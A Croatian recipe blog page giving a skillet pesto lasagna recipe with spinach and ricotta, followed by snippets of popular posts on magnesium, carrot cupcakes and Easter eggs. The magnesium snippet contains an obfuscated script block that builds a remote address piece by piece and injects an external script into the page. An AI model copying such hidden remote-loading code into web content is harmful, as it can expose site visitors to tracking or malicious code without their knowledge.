LAZANJE S PESTOM IZ TAVE




Lazanje s pestom iz tave 



Ove zelene lazanje pune su špinata, ricotte i kremastog umaka obogaćenog pestom koji će oduševiti svakoga. Pakiranje jarkozelenog pesta podiže ovaj jednostavan recept za lazanje iz tave na novu razinu. Bogata količina pesta podiže klasični bešamel umak i puni ga bogatim okusom začinskog bilja.




Lazanje s pestom iz tave 


Sastojci:

  • 1 žlica maslinovog ulja


  • 1 pakiranje (225 g) svježeg mladog špinata (baby špinat)


  • ¼ šalice (½ kocke) neslanog maslaca


  • ¼ šalice glatkog pšeničnog brašna


  • 2 šalice toplog punomasnog mlijeka


  • ½ šalice pesta (domaćeg ili kupovnog)


  • 1 žličica krupne morske soli


  • 10 kora za lazanje koje se ne moraju kuhati, razlomljenih na komade od oko 5 cm


  • 1 šalica ricotte od punomasnog mlijeka


  • 1 šalica naribane mozzarelle


  • Svježi listovi bosiljka, za posipanje


  • 2 žličice naribane limunove korice




Priprema:

  1. Zagrijte gornji grijač pećnice (broiler/gril), a rešetku postavite na oko 12 cm udaljenosti od izvora topline. Zagrijte ulje u tavi od 25 cm (sigurnoj za pećnicu) na srednje jakoj vatri. Iz dva puta kratko popržite špinat, stalno ga okrećući dok ne uvene i ne omekša, otprilike 2 minute. Prebacite ga u zdjelu.


  2. Smanjite vatru na srednju jačinu. Rastopite maslac u tavi. Dodajte brašno; kuhajte uz stalno miješanje pjenjačom dok lagano ne porumeni, oko 2 minute. Postupno ulijte toplo mlijeko i kuhajte, neprestano miješajući, dok se ne zgusne, 3 do 4 minute. Umiješajte pesto i sol.


  3. Vratite špinat u tavu i ulijte ¾ šalice vode. Pomoću kuhinjske hvataljke dodajte komade kora za lazanje, pazeći da budu potpuno uronjeni u umak. Pustite da zakuha. Smanjite vatru na srednje slabu i poklopite; kuhajte lagano dok korice ne omekšaju, 14 do 15 minuta.


  4. U zdjeli srednje veličine pomiješajte ricottu i limunovu koricu. Žlicom rasporedite hrpice te smjese preko kuhanih kora u tavi. Sve posipajte naribanom mozzarellom.


  5. Premjestite tavu u pećnicu. Pecite pod grilom dok se sir ne rastopi i lagano ne porumeni, oko 2 minute. Prije posluživanja posipajte svježim bosiljkom.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više